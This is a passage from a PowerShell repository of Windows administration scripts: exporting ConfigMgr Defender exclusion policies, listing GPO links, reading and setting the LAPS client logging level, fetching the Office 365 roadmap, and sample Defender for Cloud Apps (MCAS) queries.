43 | If ($null -eq $ExclusionExtensions) {
44 | $ExclusionExtensions = @()
45 | }
46 |
47 | $ExclusionProcesses = $CMPolicyDefinition.SecurityPolicy.PolicySection.LocalGroupPolicySettings.AddKey | Select-Object Name, Disabled, AddValue | Where-Object { $_.Name -like "SOFTWARE\Policies\Microsoft\Microsoft Antimalware\Exclusions\Processes" } | Select-Object -ExpandProperty AddValue
48 | If ($null -eq $ExclusionProcesses) {
49 | $ExclusionProcesses = @()
50 | }
51 |
52 |
53 | ForEach($pathentry in $ExclusionPaths)
54 | {
55 | $pathresult = [PSCustomObject]@{
56 | ExclusionType = "Path"
57 | Value = $pathentry.Name
58 | Policy = $CMPolicy
59 | File = "$CMPolicyFile"
60 |
61 | }
62 | [void]$PathData.Add($pathresult)
63 | }
64 |
65 | ForEach($extensionentry in $ExclusionExtensions)
66 | {
67 | $extresult = [PSCustomObject]@{
68 | ExclusionType = "Extension"
69 | Value = $extensionentry.Name
70 | Policy = $CMPolicy
71 | File = "$CMPolicyFile"
72 |
73 | }
74 | [void]$ExtensionData.Add($extresult)
75 | }
76 |
77 |
78 | ForEach($processentry in $ExclusionProcesses)
79 | {
80 | $processresult = [PSCustomObject]@{
81 | ExclusionType = "Process"
82 | Value = $processentry.Name
83 | Policy = $CMPolicy
84 | File = "$CMPolicyFile"
85 | }
86 | [void]$ProcessData.Add($processresult)
87 | }
88 | $output = $PathData + $ExtensionData + $ProcessData
89 | $output
90 | }
91 | End
92 | {
93 | }
94 | }
--------------------------------------------------------------------------------
/EndpointConfigurationManager/ExportAntimalwareExclusions/export-cmdefenderpolicy.ps1:
--------------------------------------------------------------------------------
1 | function Export-CMDefenderPolicy
2 | {
3 | <#
4 | .Synopsis
5 | Export-CMDefenderPolicy
6 | .DESCRIPTION
7 | Export-CMDefenderPolicy exports antimalware policies from Microsoft Endpoint Configuration Manager. Use this cmdlet
8 | to export all CM Antimalware policies and then export the exclusion settings.
9 |
10 | $ExportPath = "C:\temp\defenderexclusion"
11 | Export-CMDefenderPolicy -Path $ExportPath -Verbose
12 | $CMAntimalwareFiles = Get-ChildItem -Path $ExportPath
13 |
14 | $AllExclusions = ForEach($File in $CMAntimalwareFiles)
15 | {
16 | Export-CMExclusions -CMPolicyFile $File.FullName
17 | }
18 |
19 | $AllExclusions | Export-Csv -Path C:\temp\defenderexclusion\allexclusions.csv -NoClobber -NoTypeInformation
20 |
21 | .EXAMPLE
22 | Export-CMDefenderPolicy -Path C:\temp\defenderexclusion
23 | .NOTES
24 | v1.0, 20.05.2022, Alex Verboon
25 | #>
26 | [CmdletBinding(SupportsShouldProcess=$true)]
27 | Param
28 | (
29 | # Export Path
30 | [Parameter(Mandatory=$false)]
31 | [ValidateNotNull()]
32 | [ValidateNotNullOrEmpty()]
33 | $Path
34 | )
35 | Begin
36 | {
37 | $AntimalwarePolicies = Get-CMAntimalwarePolicy
38 | }
39 | Process
40 | {
41 | ForEach($policy in $AntimalwarePolicies)
42 | {
43 | if ($pscmdlet.ShouldProcess("$($policy.Name)", "Export"))
44 | {
45 | Write-Verbose $policy.name
46 | $ExportFilename = $($Policy.Name).Split([IO.Path]::GetInvalidFileNameChars()) -join '_'
47 | $ExportFilename = $($ExportFilename).Replace(" ","") + ".xml"
48 | If($policy.Name -eq "Default Client Antimalware Policy")
49 | {
50 | # skipping the default client antimalware policy, having an issue with export here
51 | # that I look at another time :-)
52 | }
53 | Else
54 | {
55 | Export-CMAntimalwarePolicy -InputObject $policy -Path "$Path\$ExportFilename"
56 | }
57 | }
58 | }
59 | }
60 | End
61 | {
62 | }
63 | }
64 |
65 |
--------------------------------------------------------------------------------
/GPO/Get-GPOLink.ps1:
--------------------------------------------------------------------------------
1 | ## https://mikefrobbins.com/2013/11/14/determine-what-active-directory-organization-units-a-group-policy-is-linked-to-with-powershell/
2 | #Requires -Modules GroupPolicy
3 |
4 | function Get-GPOLink {
5 | <#
6 | .SYNOPSIS
7 | Returns the Active Directory (AD) Organization Units (OU's) that a Group Policy Object (GPO) is linked to.
8 |
9 | .DESCRIPTION
10 | Get-GPOLink is a function that returns the Active Directory Organization Units (OU's) that a Group Policy
11 | Object (GPO) is linked to.
12 |
13 | .PARAMETER Name
14 | The Name of the Group Policy Object.
15 |
16 | .EXAMPLE
17 | Get-GPOLink -Name 'Default Domain Policy'
18 |
19 | .EXAMPLE
20 | Get-GPOLink -Name 'Default Domain Policy', 'Default Domain Controllers Policy'
21 |
22 | .EXAMPLE
23 | 'Default Domain Policy' | Get-GPOLink
24 |
25 | .EXAMPLE
26 | 'Default Domain Policy', 'Default Domain Controllers Policy' | Get-GPOLink
27 |
28 | .EXAMPLE
29 | Get-GPO -All | Get-GPO-Link
30 |
31 | .INPUTS
32 | System.String, Microsoft.GroupPolicy.Gpo
33 |
34 | .OUTPUTS
35 | PSCustomObject
36 | #>
37 |
38 | [CmdletBinding()]
39 | param (
40 | [Parameter(Mandatory,
41 | ValueFromPipeline,
42 | ValueFromPipelineByPropertyName)]
43 | [Alias('DisplayName')]
44 | [string[]]$Name
45 | )
46 |
47 | PROCESS {
48 |
49 | foreach ($n in $Name) {
50 | $problem = $false
51 |
52 | try {
53 | Write-Verbose -Message "Attempting to produce XML report for GPO: $n"
54 |
55 | [xml]$report = Get-GPOReport -Name $n -ReportType Xml -ErrorAction Stop
56 | }
57 | catch {
58 | $problem = $true
59 | Write-Warning -Message "An error occured while attempting to query GPO: $n"
60 | }
61 |
62 | if (-not($problem)) {
63 | Write-Verbose -Message "Returning results for GPO: $n"
64 |
65 | [PSCustomObject]@{
66 | 'GPOName' = $report.GPO.Name
67 | 'LinksTo' = $report.GPO.LinksTo.SOMName
68 | 'Enabled' = $report.GPO.LinksTo.Enabled
69 | 'NoOverride' = $report.GPO.LinksTo.NoOverride
70 | 'CreatedDate' = ([datetime]$report.GPO.CreatedTime).ToShortDateString()
71 | 'ModifiedDate' = ([datetime]$report.GPO.ModifiedTime).ToShortDateString()
72 | }
73 |
74 | }
75 |
76 | }
77 |
78 | }
79 |
80 | }
--------------------------------------------------------------------------------
/Ignite/2019/ffmpeg.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/alexverboon/PowerShellCode/1d9ae558513599bd3a7a542ac80b9473489c9097/Ignite/2019/ffmpeg.exe
--------------------------------------------------------------------------------
/Ignite/2019/findstuff.ps1:
--------------------------------------------------------------------------------
1 |
2 | # 1. download the script
3 | # https://gallery.technet.microsoft.com/Ignite-2016-Slidedeck-and-296df316#content
4 |
5 | # 2. Open PowerShell prompt (not ISE)
6 |
7 | # 3. Adjust paths below for script location and output directory
8 |
9 | # 4. Run the below command to get a list of all sessions
10 |
11 | $allsessions = C:\dev\Private\PowerShellSnippets\Ignite\Get-EventSession.ps1 -InfoOnly
12 | # note this creates a session cache file that is valid for 1 day, the file is located in the script folder "Ignite-Sessions.cache"
13 |
14 | # Select the sessons to download
15 | $Selections = $allsessions | Select-Object SessionCode,Title | Out-GridView -OutputMode Multiple
16 | ForEach ($session in $Selections)
17 | {
18 | write-host "Retrieving "$($session).SessionCode""
19 | C:\dev\Private\PowerShellSnippets\Ignite\Get-EventSession.ps1 -ScheduleCode $($session).SessionCode -DownloadFolder "C:\Data\ignite"
20 | }
21 |
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/Ignite/2019/youtube-dl.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/alexverboon/PowerShellCode/1d9ae558513599bd3a7a542ac80b9473489c9097/Ignite/2019/youtube-dl.exe
--------------------------------------------------------------------------------
/LAPS/Get-LAPSLoggingMode.ps1:
--------------------------------------------------------------------------------
1 |
2 |
3 | function Get-LAPSLoggingMode
4 | {
5 | <#
6 | .SYNOPSIS
7 | Get-LAPSLoggingMode
8 |
9 | .DESCRIPTION
10 | Get-LAPSLoggingMode retrieves the ExtensionDebugLevel status from the LAPS Client Side Extension.
11 |
12 | Possible values are:
13 |
14 | 0 Silent mode; log errors only
15 | 1 Log Errors and warnings
16 | 2 Verbose mode, log everything
17 |
18 | .PARAMETER Computername
19 | Specifies the computers on which the command runs. The default is the local computer.
20 | When you use the ComputerName parameter, Windows PowerShell creates a temporary connection that is used only to run the specified command and is then closed. If you need a persistent connection, use the Session parameter.
21 | Type the NETBIOS name, IP address, or fully qualified domain name of one or more computers in a comma-separated list. To specify the local computer, type the computer name, localhost, or a dot (.).
22 | To use an IP address in the value of ComputerName , the command must include the Credential parameter. Also, the computer must be configured for HTTPS transport or the IP address of the remote computer must be included in the WinRM TrustedHosts list on the local computer. For instructions for adding a computer name to the TrustedHosts list, see "How to Add a Computer to the Trusted Host List" in about_Remote_Troubleshooting.
23 | On Windows Vista and later versions of the Windows operating system, to include the local computer in the value of ComputerName , you must open Windows PowerShell by using the Run as administrator option.
24 |
25 | .PARAMETER Credential
26 | Specifies a user account that has permission to perform this action. The default is the current user.
27 | Type a user name, such as User01 or Domain01\User01. Or, enter a PSCredential object, such as one generated by the Get-Credential cmdlet. If you type a user name, this cmdlet prompts you for a password.
28 |
29 | .PARAMETER UseSSL
30 | Indicates that this cmdlet uses the Secure Sockets Layer (SSL) protocol to establish a connection to the remote computer. By default, SSL is not used.
31 | WS-Management encrypts all Windows PowerShell content transmitted over the network. The UseSSL parameter is an additional protection that sends the data across an HTTPS, instead of HTTP.
32 | If you use this parameter, but SSL is not available on the port that is used for the command, the command fails.
33 |
34 | .PARAMETER ThrottleLimit
35 | Specifies the maximum number of concurrent connections that can be established to run this command. If you omit this parameter or enter a value of 0, the default value, 32, is used.
36 | The throttle limit applies only to the current command, not to the session or to the computer.
37 |
38 | .PARAMETER Authentication
39 | Specifies the mechanism that is used to authenticate the user's credentials. The acceptable values for this
40 |
41 | parameter are:
42 |
43 | - Default
44 | - Basic
45 | - Credssp
46 | - Digest
47 | - Kerberos
48 | - Negotiate
49 | - NegotiateWithImplicitCredential
50 |
51 | The default value is Default.
52 |
53 | CredSSP authentication is available only in Windows Vista, Windows Server 2008, and later versions of the Windows operating system.
54 | For information about the values of this parameter, see the description of the AuthenticationMechanismEnumeration (http://go.microsoft.com/fwlink/?LinkID=144382) in theMicrosoft Developer Network (MSDN) library.
55 | CAUTION: Credential Security Support Provider (CredSSP) authentication, in which the user's credentials are passed to a remote computer to be authenticated, is designed for commands that require authentication on more than one resource, such as accessing a remote network share. This mechanism increases the security risk of the remote operation. If the remote computer is compromised, the credentials that are passed to it can be used to control the
56 | network session.
57 |
58 | .EXAMPLE
59 | Get-LAPSLoggingMode -Computer W10Client1,W10Client2,W10Client3
60 |
61 | Computername LAPSLoggingRegStatus LAPSLogModeDescription KeyPresent
62 | ------------ -------------------- ---------------------- ----------
63 | W10CLIENT1 0 Silent mode; log errors only True
64 | W10CLIENT2 False
65 | W10CLIENT3 2 Verbose mode, log everything True
66 |
67 | This example retrieves the LAPS CSE Debug Status from several remote computers
68 |
69 | .EXAMPLE
70 | $cred = Get-Credential
71 | Get-LAPSLoggingMode -Computer W10Client1,W10Client2,W10Client3 -Credential $cred
72 |
73 | Computername LAPSLoggingRegStatus LAPSLogModeDescription KeyPresent
74 | ------------ -------------------- ---------------------- ----------
75 | W10CLIENT1 0 Silent mode; log errors only True
76 | W10CLIENT2 False
77 | W10CLIENT3 2 Verbose mode, log everything True
78 |
79 | This example retrieves the LAPS CSE Debug Status from several remote computers using a credential
80 |
81 | .NOTES
82 | Credits to Jeffery Hicks for the Function Template
83 | https://jdhitsolutions.com/blog/powershell/6348/building-more-powershell-functions/
84 |
85 | Version: 1.0
86 | Author: Alex Verboon
87 | Creation Date: 11.01.2019
88 | Purpose/Change: Initial script development
89 |
90 | #>
91 |
92 | [CmdletBinding()]
93 | [Alias()]
94 | #[OutputType([String])]
95 | Param
96 | (
97 | # Param1 help description
98 | [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName,Position = 0)]
99 | [string[]]$Computername = $env:COMPUTERNAME,
100 | [PSCredential]$Credential,
101 | [switch]$UseSSL,
102 | [Int32]$ThrottleLimit,
103 | [ValidateSet('Default', 'Basic', 'Credssp', 'Digest', 'Kerberos', 'Negotiate', 'NegotiateWithImplicitCredential')]
104 | [ValidateNotNullorEmpty()]
105 | [string]$Authentication = "default"
106 | )
107 |
108 | Begin
109 | {
110 | $sb = {
111 |
112 | # Location of the LAPS CSE
113 | $LAPSLoggingRegPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}"
114 | # Debug Level Key
115 | $LAPSLoggingRegKey = "ExtensionDebugLevel"
116 |
117 | [string]$LAPSLogModeDescription = $null
118 | [string]$LAPSLoggingRegStatus = $null
119 |
120 | Write-Verbose "Check if $LAPSLoggingRegKey is present at $LAPSLoggingRegPath on $ENV:Computername"
121 | $LAPSLoggingRegStatus = Get-ItemProperty -Path $LAPSLoggingRegPath -Name $LAPSLoggingRegKey -ErrorAction SilentlyContinue | Select-Object $LAPSLoggingRegKey -ExpandProperty $LAPSLoggingRegKey
122 | switch ($LAPSLoggingRegStatus)
123 | {
124 | 0 {$LAPSLogModeDescription = "Silent mode; log errors only"}
125 | 1 {$LAPSLogModeDescription = "Log Errors and warnings"}
126 | 2 {$LAPSLogModeDescription = "Verbose mode, log everything"}
127 | }
128 |
129 | $Object = [ordered]@{
130 | Computername = "$env:Computername"
131 | LAPSLoggingRegStatus = $LAPSLoggingRegStatus
132 | LAPSLogModeDescription = $LAPSLogModeDescription
133 | KeyPresent = If ([string]::IsNullOrEmpty($LAPSLoggingRegStatus)) {"$False"} Else {"$True"}
134 | }
135 | $LAPSResult = (New-Object -TypeName PSObject -Property $object)
136 | $LAPSResult
137 | } #end scriptblock
138 |
139 | if ($PSBoundParameters.ContainsKey("Computername")) {
140 | $sbRemote = {
141 | # Get Remote Verbose Preference
142 | $VerbosePreference = $using:VerbosePreference
143 | }
144 | $newScriptBlock = [ScriptBlock]::Create($sbRemote.ToString() + $sb.ToString())
145 | $sb = $newScriptBlock
146 | }
147 |
148 | #update PSBoundParameters so it can be splatted to Invoke-Command
149 | $PSBoundParameters.Add("ScriptBlock", $sb) | Out-Null
150 | $PSBoundParameters.Add("HideComputername", $True) | Out-Null
151 |
152 | }
153 |
154 | Process
155 | {
156 | if (-Not $PSBoundParameters.ContainsKey("Computername")) {
157 | # There is no computername provided so we run things locally.
158 | & $sb
159 | }
160 | else {
161 | #$PSBoundParameters | Out-String | Write-Verbose
162 | Invoke-Command @PSBoundParameters -ArgumentList $VerbosePreference | Select-Object -Property * -ExcludeProperty RunspaceID, PS*
163 | }
164 | }
165 | End
166 | {
167 | }
168 | }
--------------------------------------------------------------------------------
/LAPS/Set-LAPSLoggingMode.ps1:
--------------------------------------------------------------------------------
1 | function Set-LAPSLoggingMode
2 | {
3 | <#
4 | .SYNOPSIS
5 | Set-LAPSLoggingMode
6 |
7 | .DESCRIPTION
8 | Set-LAPSLoggingMode sets the ExtensionDebugLevel status for the LAPS Client Side Extension.
9 |
10 | Possible values are:
11 |
12 | 0 Silent mode; log errors only (Default)
13 | 1 Log Errors and warnings
14 | 2 Verbose mode, log everything
15 |
16 | .PARAMETER Computername
17 | Specifies the computers on which the command runs. The default is the local computer.
18 | When you use the ComputerName parameter, Windows PowerShell creates a temporary connection that is used only to run the specified command and is then closed. If you need a persistent connection, use the Session parameter.
19 | Type the NETBIOS name, IP address, or fully qualified domain name of one or more computers in a comma-separated list. To specify the local computer, type the computer name, localhost, or a dot (.).
20 | To use an IP address in the value of ComputerName , the command must include the Credential parameter. Also, the computer must be configured for HTTPS transport or the IP address of the remote computer must be included in the WinRM TrustedHosts list on the local computer. For instructions for adding a computer name to the TrustedHosts list, see "How to Add a Computer to the Trusted Host List" in about_Remote_Troubleshooting.
21 | On Windows Vista and later versions of the Windows operating system, to include the local computer in the value of ComputerName , you must open Windows PowerShell by using the Run as administrator option.
22 |
23 | .PARAMETER Credential
24 | Specifies a user account that has permission to perform this action. The default is the current user.
25 | Type a user name, such as User01 or Domain01\User01. Or, enter a PSCredential object, such as one generated by the Get-Credential cmdlet. If you type a user name, this cmdlet prompts you for a password.
26 |
27 | .PARAMETER UseSSL
28 | Indicates that this cmdlet uses the Secure Sockets Layer (SSL) protocol to establish a connection to the remote computer. By default, SSL is not used.
29 | WS-Management encrypts all Windows PowerShell content transmitted over the network. The UseSSL parameter is an additional protection that sends the data across an HTTPS, instead of HTTP.
30 | If you use this parameter, but SSL is not available on the port that is used for the command, the command fails.
31 |
32 | .PARAMETER ThrottleLimit
33 | Specifies the maximum number of concurrent connections that can be established to run this command. If you omit this parameter or enter a value of 0, the default value, 32, is used.
34 | The throttle limit applies only to the current command, not to the session or to the computer.
35 |
36 | .PARAMETER Authentication
37 | Specifies the mechanism that is used to authenticate the user's credentials. The acceptable values for this
38 |
39 | parameter are:
40 |
41 | - Default
42 | - Basic
43 | - Credssp
44 | - Digest
45 | - Kerberos
46 | - Negotiate
47 | - NegotiateWithImplicitCredential
48 |
49 | The default value is Default.
50 |
51 | CredSSP authentication is available only in Windows Vista, Windows Server 2008, and later versions of the Windows operating system.
52 | For information about the values of this parameter, see the description of the AuthenticationMechanismEnumeration (http://go.microsoft.com/fwlink/?LinkID=144382) in theMicrosoft Developer Network (MSDN) library.
53 | CAUTION: Credential Security Support Provider (CredSSP) authentication, in which the user's credentials are passed to a remote computer to be authenticated, is designed for commands that require authentication on more than one resource, such as accessing a remote network share. This mechanism increases the security risk of the remote operation. If the remote computer is compromised, the credentials that are passed to it can be used to control the
54 | network session.
55 |
56 | .EXAMPLE
57 | Set-LAPSLoggingMode -Computer W10Client1
58 |
59 | .NOTES
60 | Credits to Jeffery Hicks for the Function Template
61 | https://jdhitsolutions.com/blog/powershell/6348/building-more-powershell-functions/
62 |
63 | Version: 1.0
64 | Author: Alex Verboon
65 | Creation Date: 11.01.2019
66 | Purpose/Change: Initial script development
67 |
68 | #>
69 |
70 | [CmdletBinding(SupportsShouldProcess)]
71 | [Alias()]
72 | #[OutputType([String])]
73 | Param
74 | (
75 | # Param1 help description
76 | [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName,Position = 0)]
77 | [string[]]$Computername = $env:COMPUTERNAME,
78 | [PSCredential]$Credential,
79 | [switch]$UseSSL,
80 | [Int32]$ThrottleLimit,
81 | [ValidateSet('Default', 'Basic', 'Credssp', 'Digest', 'Kerberos', 'Negotiate', 'NegotiateWithImplicitCredential')]
82 | [ValidateNotNullorEmpty()]
83 | [string]$Authentication = "default",
84 |
85 | [Parameter(Mandatory=$true,
86 | ValueFromPipelineByPropertyName=$true)]
87 | [ValidateSet("Errors","ErrorsWarnings","Verbose")]
88 | [string]$LAPSLoggingMode
89 | )
90 |
91 | Begin
92 | {
93 | $sb = {
94 | #$LAPSLoggingMode = $using:LAPSLoggingMode
95 | # Location of the LAPS CSE
96 | $LAPSLoggingRegPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}"
97 | # Debug Level Key
98 | $LAPSLoggingRegKey = "ExtensionDebugLevel"
99 |
100 | [string]$LAPSLogModeDescription = $null
101 | [string]$LAPSLoggingRegStatus = $null
102 | [string]$LAPSCSEStatus = $null
103 | [string]$NewLAPSLoggingRegStatus = $null
104 |
105 | Write-Verbose "Check if LAPS CSE is registered on $ENV:Computername"
106 | $LAPSCSEStatus = Get-Item -Path $LAPSLoggingRegPath -ErrorAction SilentlyContinue
107 | If (-not ([string]::IsNullOrEmpty($LAPSCSEStatus)))
108 | {
109 | Write-Verbose "Check if $LAPSLoggingRegKey is present at $LAPSLoggingRegPath on $ENV:Computername"
110 | $LAPSLoggingRegStatus = Get-ItemProperty -Path $LAPSLoggingRegPath -Name $LAPSLoggingRegKey -ErrorAction SilentlyContinue | Select-Object $LAPSLoggingRegKey -ExpandProperty $LAPSLoggingRegKey
111 | If ([string]::IsNullOrEmpty($LAPSLoggingRegStatus))
112 | {
113 | Write-host "Current LAPS Logging mode: Not defined"
114 | }
115 | else {
116 | switch ($LAPSLoggingRegStatus)
117 | {
118 | 0 {$LAPSLogModeDescription = "Silent mode; log errors only"}
119 | 1 {$LAPSLogModeDescription = "Log Errors and warnings"}
120 | 2 {$LAPSLogModeDescription = "Verbose mode, log everything"}
121 | }
122 | Write-verbose "Current LAPS Logging mode: $LAPSLoggingRegStatus $LAPSLogModeDescription"
123 | }
124 |
125 | switch ($LAPSLoggingMode)
126 | {
127 | "Errors" {$NewLAPSLoggingRegStatus = 0; $NewLAPSLogModeDescription = "Silent mode; log errors only" }
128 | "ErrorsWarnings" {$NewLAPSLoggingRegStatus = 1; $NewLAPSLogModeDescription = "Log Errors and warnings"}
129 | "Verbose" {$NewLAPSLoggingRegStatus = 2; $NewLAPSLogModeDescription = "Verbose mode, log everything"}
130 | }
131 |
132 | # Set LAPS CSE Debug Mode
133 | Try{
134 | Write-verbose "Setting LAPS Logging Mode to $NewLAPSLogModeDescription"
135 | Set-ItemProperty -Path $LAPSLoggingRegPath -Name $LAPSLoggingRegKey -Value $NewLAPSLoggingRegStatus
136 | }
137 | Catch{
138 | $_.Exception.Message
139 | $_.Exception.ItemName
140 | }
141 | }
142 | else {
143 | write-verbose "LAPS CSE is not installed, please install LAPS before setting Log mode"
144 | }
145 | } #end scriptblock
146 |
147 | if ($PSBoundParameters.ContainsKey("Computername")) {
148 | $sbRemote = {
149 | # Get Remote Verbose Preference
150 | $VerbosePreference = $using:VerbosePreference
151 | $WhatIfPreference = $Using:WhatifPreference
152 | $LAPSLoggingMode = $using:PassLoggingMode
153 | }
154 | $newScriptBlock = [ScriptBlock]::Create($sbRemote.ToString() + $sb.ToString())
155 | $sb = $newScriptBlock
156 | }
157 | Else
158 | {
159 | $sbLocal = {
160 | $LAPSLoggingMode = $LAPSLoggingMode
161 | }
162 | $newScriptBlock = [ScriptBlock]::Create($sbLocal.ToString() + $sb.ToString())
163 | $sb = $newScriptBlock
164 | }
165 |
166 | #update PSBoundParameters so it can be splatted to Invoke-Command
167 | $PSBoundParameters.Add("ScriptBlock", $sb) | Out-Null
168 | $PSBoundParameters.Add("HideComputername", $True) | Out-Null
169 |
170 | # We're passing these Parameters to the INvoke-cmmand arguments and then remove the parameters that invoke-command doesn't know about
171 | $PassLoggingMode = $PSBoundParameters.LAPSLoggingMode
172 | $PSBoundParameters.Remove("LAPSLoggingMode") | Out-Null
173 |
174 | $Whatif = $WhatifPreference
175 | $PSBoundParameters.Remove("Whatif") | Out-Null
176 |
177 | }
178 | Process
179 | {
180 | if (-Not $PSBoundParameters.ContainsKey("Computername")) {
181 | # There is no computername provided so we run things locally.
182 | & $sb
183 | }
184 | else {
185 | # $PSBoundParameters | Out-String | Write-Verbose
186 | Invoke-Command @PSBoundParameters -ArgumentList $LAPSLoggingMode,$VerbosePreference,$WhatifPreference | Select-Object -Property * -ExcludeProperty RunspaceID, PS*
187 | }
188 | }
189 | End
190 | {
191 | }
192 | }
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Alex Verboon
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/M365Roadmap/Get-Office365Roadmap.ps1:
--------------------------------------------------------------------------------
1 |
2 |
3 | Function Get-Office365Roadmap {
4 |
5 | <#
6 | .Synopsis
7 | Get-Office365Roadmap
8 | .DESCRIPTION
9 | Get-Office365Roadmap retrieves Office 365 information
10 | .EXAMPLE
11 | Get-Office365Roadmap
12 |
13 | Retrieves the complete Office 365 roadmap information
14 |
15 | .EXAMPLE
16 | Get-Office365Roadmap -Stats
17 |
18 | Count Name
19 | ----- ----
20 | 203 In development
21 | 191 Launched
22 | 17 Previously released
23 | 61 Rolling out
24 | 3 Cancelled
25 |
26 | .PARAMETER Stats
27 | Shows the total number of features grouped by deployment status
28 |
29 | #>
30 | [CmdletBinding()]
31 | Param(
32 | [switch]$Stats
33 | )
34 |
35 | Begin{}
36 | Process{
37 | $roadmapfeatures = Invoke-WebRequest -Uri https://roadmap-api.azurewebsites.net/api/features
38 | $features = $roadmapfeatures.Content
39 | $rm = ($features) -join "`n" | ConvertFrom-Json
40 | }
41 |
42 | End{
43 | If ($Stats -eq $true)
44 | {
45 | $rm | Group-Object Status | Select-Object Count,Name
46 | }
47 | Else
48 | {
49 | $rm
50 | }
51 | }
52 | }
--------------------------------------------------------------------------------
/MCAS/Connect-PSMCAS.ps1:
--------------------------------------------------------------------------------
1 |
2 | function Connect-PSMCAS
3 | {
4 | <#
5 | .Synopsis
6 | Connect-PSMCAS
7 | .DESCRIPTION
8 | Connect-PSMCAS connects with the MCAS API and sets the $CASCredential variable
9 | that is used by various functions included in the MCAS PowerShell Module.
10 | .EXAMPLE
11 | MCAS-Connect
12 | #>
13 | [CmdletBinding()]
14 | Param
15 | (
16 | # MCAS Token, generated withn the MCAS Console
17 | [Parameter(Mandatory=$true,
18 | ValueFromPipelineByPropertyName=$true,
19 | Position=0)]
20 | [string]$MCASToken,
21 | [Parameter(Mandatory=$true,
22 | ValueFromPipelineByPropertyName=$true,
23 | Position=0)]
24 | [string]$MCASUrl
25 | )
26 | Begin
27 | {
28 | try {
29 | Import-Module MCAS -ErrorAction Stop -Verbose:$false}
30 | catch
31 | {Write-Error "MCAS module failed to Import. Terminating the script. More details : $_"
32 | Exit(1)
33 | }
34 |
35 | }
36 | Process
37 | {
38 | $User=$MCASUrl
39 | $PWord=ConvertTo-SecureString -String "$MCASToken" -AsPlainText -Force
40 | $CASCredential=New-Object -TypeName System.Management.Automation.PSCredential -argumentList $User, $PWord
41 | $Credential=$CASCredential
42 | $CASCredential
43 |
44 | Try{
45 | $Conf=Get-MCASConfiguration -Credential $CASCredential -ErrorAction Stop
46 | If(-not ([string]::IsNullOrEmpty($Conf)))
47 | {
48 | Write-verbose "Connection to MCAS $MCASUrl OK!"
49 | }
50 |
51 | }
52 | Catch
53 | {
54 | write-error "Can't run the MCAS cmdlet Get-MCASConfiguration, something isn't working!"
55 | }
56 | }
57 | End
58 | {
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/MCAS/MCAS Samples.md:
--------------------------------------------------------------------------------
1 | # MCAS Samples
2 |
3 | ## Alerts
4 |
5 | # Get MCAS Alerts
6 | Get-MCASAlert -Credential $mcasconnect | Select-Object Description
7 |
8 | # Get User Activity
9 |
10 | $Activities = Get-MCASActivity -Credential $mcasconnect -UserName 'joe@contoso.com' -ResultSetSize 50
11 | $result = ForEach($act in $Activities)
12 | {
13 | [PSCustomObject] [ordered]@{
14 | AppName = $act.AppName
15 | Device = $act.device.clientip
16 | Country = $act.location.countryCode
17 | City = $act.location.city
18 | region = $act.location.region
19 | CreatedDateTime = ([datetimeoffset]::FromUnixTimeMilliseconds(1000 * ((($act.created).toString()).substring(0,10) + "." + (($act.created).toString()).substring(10,3)))).DateTime
20 | }
21 | }
22 | $result
23 |
24 | #MCAS Configuration
25 | Get-MCASConfiguration -Credential $mcasconnect
26 |
27 | #MCAS App Info, the cmdlet validates the AppNames
28 | Get-MCASAppId -AppName Office_365
29 | # 11161
30 |
31 | Get-MCASAppInfo -AppId 11161 | Select-object Name, Description
32 |
33 |
34 |
35 | #
36 | $n = 11161
37 | $apps = while ($n -ne 11500)
38 | {
39 | Get-MCASAppInfo -Credential $mcasconnect -AppId $n | Select-Object Name, appid,childapps,app_level
40 | Start-Sleep -Seconds 1
41 | $n++
42 | }
43 |
44 |
45 |
46 | # File Accessed
47 | Get-MCASActivity -EventTypeName "EVENT_CATEGORY_ACCESS_FILE" -Credential $mcasconnect
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
--------------------------------------------------------------------------------
/MCAS/MCAS-Powershell Samples.ps1:
--------------------------------------------------------------------------------
1 |
2 | $mcastoken = ""
3 | $mcasurl = "avmtplab.eu2.portal.cloudappsecurity.com"
4 | #$mcasconnect = Connect-PSMCAS -MCASUrl $mcasurl -MCASToken $mcastoken
5 | Get-MCASCredential -TenantUri "avmtplab.eu2.portal.cloudappsecurity.com"
6 |
7 |
8 | ## Apps
9 | # Get all EventTypes
10 | (Get-MCASActivity -AppName Office_365 | Group-Object EventTypeName).Name
11 |
12 | # App Grant Consent
13 | Get-MCASActivity -EventTypeName "EVENT_CATEGORY_GRANT_CONSENT"
14 |
15 |
16 | # Get all EventTypes Values
17 | (Get-MCASActivity -AppName Office_365 | Group-Object EventTypeValue).Name
18 | # Get all Description_Ids
19 | (Get-MCASActivity -AppName Office_365 | Group-Object Description_id).Name
20 |
21 |
22 |
23 |
24 | ## Users
25 | # Get all EventTypes
